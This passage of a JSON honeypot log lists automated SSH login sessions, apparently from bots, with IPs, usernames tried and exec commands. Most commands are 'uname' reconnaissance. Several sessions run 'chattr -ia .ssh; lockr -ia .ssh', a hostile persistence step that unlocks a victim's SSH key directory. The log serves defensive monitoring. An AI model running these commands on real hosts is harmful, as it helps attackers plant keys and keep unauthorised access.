  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 629,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:41.493626+00:00",
  "ended_at": "2026-08-26T11:56:47.380442+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6489f0d7-fb8b-4486-abec-686cbd74c7a0",
  "name": "electric-cunning-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53388,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:56:27.426768+00:00",
  "ended_at": "2026-08-26T11:56:33.669814+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeaec1c1-d1eb-45e5-b17f-16851b599125",
  "name": "knotted-merry-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:26.761907+00:00",
  "ended_at": "2026-08-26T11:56:30.824117+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "48a056fe-3af9-448d-877b-acd45465f3e1",
  "name": "grassy-faded-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54396,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:22.742282+00:00",
  "ended_at": "2026-08-26T11:56:33.671754+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "a6c25b61-030a-4071-9e90-ee0ef194f6e3",
  "name": "bashful-lawful-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44498,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:56:22.503415+00:00",
  "ended_at": "2026-08-26T11:56:24.329787+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "2827b518-6ccf-415d-9b38-771daf3f759c",
  "name": "wry-reedy-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 60618,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:56:07.311269+00:00",
  "ended_at": "2026-08-26T11:56:38.754616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8d6286d-a57f-48a1-9b89-b6f6722d4c3d",
  "name": "sincere-blazing-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:59.287138+00:00",
  "ended_at": "2026-08-26T11:56:00.225137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eae4068a-eb01-457f-8a29-3e0dc43abdb6",
  "name": "proud-lunar-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:56.254938+00:00",
  "ended_at": "2026-08-26T11:55:57.589318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81204ecb-c2b2-4628-b7f0-0e8c71cf14bb",
  "name": "austere-alpine-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:52.803719+00:00",
  "ended_at": "2026-08-26T11:55:56.086057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a82263a9-4014-43f8-9817-f406879f8aaf",
  "name": "sterling-weathered-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59938,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:41.536743+00:00",
  "ended_at": "2026-08-26T11:55:47.453840+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba2bf7cd-7696-4533-b6eb-da300ba74520",
  "name": "airy-genial-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58010,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 537,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:35.152127+00:00",
  "ended_at": "2026-08-26T11:55:47.454997+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "9fda9627-803f-499d-a1df-e6373660a6d6",
  "name": "murky-humble-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:32.625996+00:00",
  "ended_at": "2026-08-26T11:55:35.506727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "af69b578-baa4-4a31-8d70-aa3c90f2aa17",
  "name": "balmy-muted-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49088,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:31.569901+00:00",
  "ended_at": "2026-08-26T11:55:37.005173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66c1ebb1-7df5-465f-8a41-a8ec0931a661",
  "name": "fleeting-brave-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38812,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:26.154359+00:00",
  "ended_at": "2026-08-26T11:55:37.003886+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7d67ef96-7cbb-4140-853a-cafec3e80be4",
  "name": "candid-kindly-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54406,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:16.934697+00:00",
  "ended_at": "2026-08-26T11:55:21.120253+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "250bd101-c6b0-4c84-8889-e29d91ec3abd",
  "name": "hazel-restless-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50184,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:13.289090+00:00",
  "ended_at": "2026-08-26T11:55:21.118787+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8adcb5cd-0434-46fd-8be0-d5e82959f200",
  "name": "gnarled-solar-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59354,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:54:56.151024+00:00",
  "ended_at": "2026-08-26T11:55:01.890312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0411f5d-d551-48d4-903c-548dfca91c93",
  "name": "creaky-arctic-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45344,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 605,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:52.175596+00:00",
  "ended_at": "2026-08-26T11:55:01.888276+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "2f58a71a-2f4b-4c25-b583-f83acf2c9152",
  "name": "twilight-tangled-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:42.454381+00:00",
  "ended_at": "2026-08-26T11:54:46.923473+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe1a1cc2-2686-4826-963f-b18d67fc7802",
  "name": "dappled-sincere-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 38870,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:54:26.942931+00:00",
  "ended_at": "2026-08-26T11:54:30.704242+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c67a0514-b5a6-48e8-b71f-151ef940c2db",
  "name": "scarlet-amber-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 397,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:23.049019+00:00",
  "ended_at": "2026-08-26T11:54:29.249891+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "94268478-809d-46a5-a852-c685e75f1d06",
  "name": "foggy-candid-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39230,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 798,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:21.133041+00:00",
  "ended_at": "2026-08-26T11:54:30.702420+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "8af2a764-00b0-48e2-933f-92afe917849f",
  "name": "dusty-ginger-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59406,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:54:14.404896+00:00",
  "ended_at": "2026-08-26T11:54:20.761015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39975c09-2202-4199-8d42-81a67cb13a2e",
  "name": "mighty-supple-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60784,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 660,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:06.205377+00:00",
  "ended_at": "2026-08-26T11:54:20.762645+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "72340123-0afd-4c21-94bc-705c262a2b6a",
  "name": "western-blunt-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44304,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:53:43.692781+00:00",
  "ended_at": "2026-08-26T11:53:45.296546+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "c16392a3-f58c-4749-856f-5da4fa2d32c6",
  "name": "merry-courtly-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 492,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:53:42.900343+00:00",
  "ended_at": "2026-08-26T11:53:45.998502+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c008f2d-bd69-4ccb-afb3-f85883b49612",
  "name": "pleasant-civil-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45322,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:40.498920+00:00",
  "ended_at": "2026-08-26T11:53:44.143375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "637c0fbd-e0d9-417d-b17a-9333d9cd94cc",
  "name": "peaty-windswept-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40014,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 779,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:53:34.459647+00:00",
  "ended_at": "2026-08-26T11:53:44.141920+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "44fba1aa-9fff-4fe4-9739-93f9b50bd6c4",
  "name": "cunning-calm-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 58458,
  "username": "kingbase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:20.070199+00:00",
  "ended_at": "2026-08-26T11:53:25.560633+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6280af06-3d6f-4eaa-b46b-312c000c6645",
  "name": "glacial-golden-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:18.997527+00:00",
  "ended_at": "2026-08-26T11:53:20.253583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e221dd3e-46b7-42da-baa7-c2feccfa1a1c",
  "name": "murky-dusty-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53162,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:53:15.534806+00:00",
  "ended_at": "2026-08-26T11:53:19.055420+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2b12596e-4c22-45c6-8b76-254648064603",
  "name": "clever-sunlit-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:15.291830+00:00",
  "ended_at": "2026-08-26T11:53:17.244009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90dda31b-d793-4663-8910-c649eee5d9da",
  "name": "gilded-dapper-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56134,
  "username": "kingbase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 557,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:53:13.680106+00:00",
  "ended_at": "2026-08-26T11:53:25.562145+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "607680c1-cc91-43ee-9d56-d450d8337591",
  "name": "kindly-oaken-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57238,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:52:57.785212+00:00",
  "ended_at": "2026-08-26T11:53:03.129786+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e21b6994-764e-456d-b2e3-bef3c34ab180",
  "name": "nimble-candid-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55634,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:52:52.469811+00:00",
  "ended_at": "2026-08-26T11:53:03.142065+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "241df796-7d51-4837-b242-d71ca16fdace",
  "name": "verdant-knotted-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60428,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:52:47.966543+00:00",
  "ended_at": "2026-08-26T11:52:53.875312+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb8b7721-47d4-45eb-8a02-0c0876dd8fc3",
  "name": "nameless-fickle-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37408,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:52:41.611681+00:00",
  "ended_at": "2026-08-26T11:52:53.877557+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "dd48fd0b-3487-491f-89c1-5de4a8b480e6",
  "name": "craggy-restless-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 437,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:52:10.504856+00:00",
  "ended_at": "2026-08-26T11:52:13.298172+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c933e241-023f-498f-a818-4ba6570aa6f2",
  "name": "balmy-painted-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50660,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:51:49.486439+00:00",
  "ended_at": "2026-08-26T11:51:55.294290+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b90c9eb-1746-485d-850d-bb8cca019685",
  "name": "bitter-crimson-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35434,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:51:44.428637+00:00",
  "ended_at": "2026-08-26T11:51:55.292743+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "dc7a1661-2f9b-4292-b0e1-ec6e7c59b7d4",
  "name": "amiable-sincere-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49088,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:51:29.926931+00:00",
  "ended_at": "2026-08-26T11:51:34.727303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0410db00-8d91-40bc-aef1-63175691f0f4",
  "name": "alpine-cosmic-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53960,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:51:27.135149+00:00",
  "ended_at": "2026-08-26T11:51:34.728513+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "70f4eec8-e3ff-49b0-be25-9a78c31594f1",
  "name": "gilded-gloomy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:51:10.299204+00:00",
  "ended_at": "2026-08-26T11:51:12.507066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "752cd0da-2b55-47ec-847f-155887edd22d",
  "name": "fleeting-loyal-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44100,
  "username": "vmuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 884,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:51:06.242750+00:00",
  "ended_at": "2026-08-26T11:51:07.694793+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2136
 },
 {
  "id": "33d04429-f3c9-418c-8d5d-e0f2e3c698e5",
  "name": "blazing-thorny-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53966,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:51:04.051320+00:00",
  "ended_at": "2026-08-26T11:51:08.923258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "550a27a1-2eba-409e-a08e-2789c0cb4834",
  "name": "indigo-smoky-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44264,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:51:00.930059+00:00",
  "ended_at": "2026-08-26T11:51:08.924896+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "04f22665-22bd-444f-b6f3-5fb2ba76071a",
  "name": "icy-diligent-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44116,
  "username": "vmuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:41.588699+00:00",
  "ended_at": "2026-08-26T11:50:43.603396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "511740a6-fc34-4dd5-9096-1b35bc08b3f5",
  "name": "spirited-snowy-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:41.142503+00:00",
  "ended_at": "2026-08-26T11:50:42.298509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce4f8bb9-253d-4684-9807-e01a7ca25ea8",
  "name": "civil-coastal-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:38.499569+00:00",
  "ended_at": "2026-08-26T11:50:39.817741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24de3af0-a44b-4d47-8ffa-47a015f6e4d2",
  "name": "creaky-gallant-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44278,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:34.305581+00:00",
  "ended_at": "2026-08-26T11:50:40.867587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d80ebc81-8481-4065-8bf8-766296d36e73",
  "name": "frugal-sooty-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52056,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:31.962153+00:00",
